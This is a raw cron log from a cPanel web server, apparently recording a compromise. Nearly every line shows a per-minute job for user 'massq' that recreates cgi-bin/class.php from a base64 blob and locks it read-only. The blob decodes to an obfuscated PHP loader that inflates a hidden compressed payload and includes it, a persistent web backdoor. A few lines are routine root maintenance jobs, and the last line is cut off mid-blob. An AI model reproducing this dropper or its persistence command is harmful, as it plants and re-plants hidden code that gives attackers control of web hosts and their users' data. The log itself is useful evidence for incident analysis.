Apr 11 20:46:01 server CROND[10318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:47:01 server CROND[10385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:48:01 server CROND[10586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:49:01 server CROND[10672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:50:01 server CROND[10739]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 20:50:01 server CROND[10741]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 20:50:01 server CROND[10740]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 20:50:01 server CROND[10742]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 20:50:01 server CROND[10743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:51:01 server CROND[10947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:52:01 server CROND[11015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:53:01 server CROND[11078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:54:01 server CROND[11137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:55:01 server CROND[11190]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 20:55:01 server CROND[11191]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 20:55:01 server CROND[11192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:56:01 server CROND[11288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:57:01 server CROND[11344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:57:01 server CROND[11345]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 20:58:01 server CROND[11508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:59:01 server CROND[11562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaU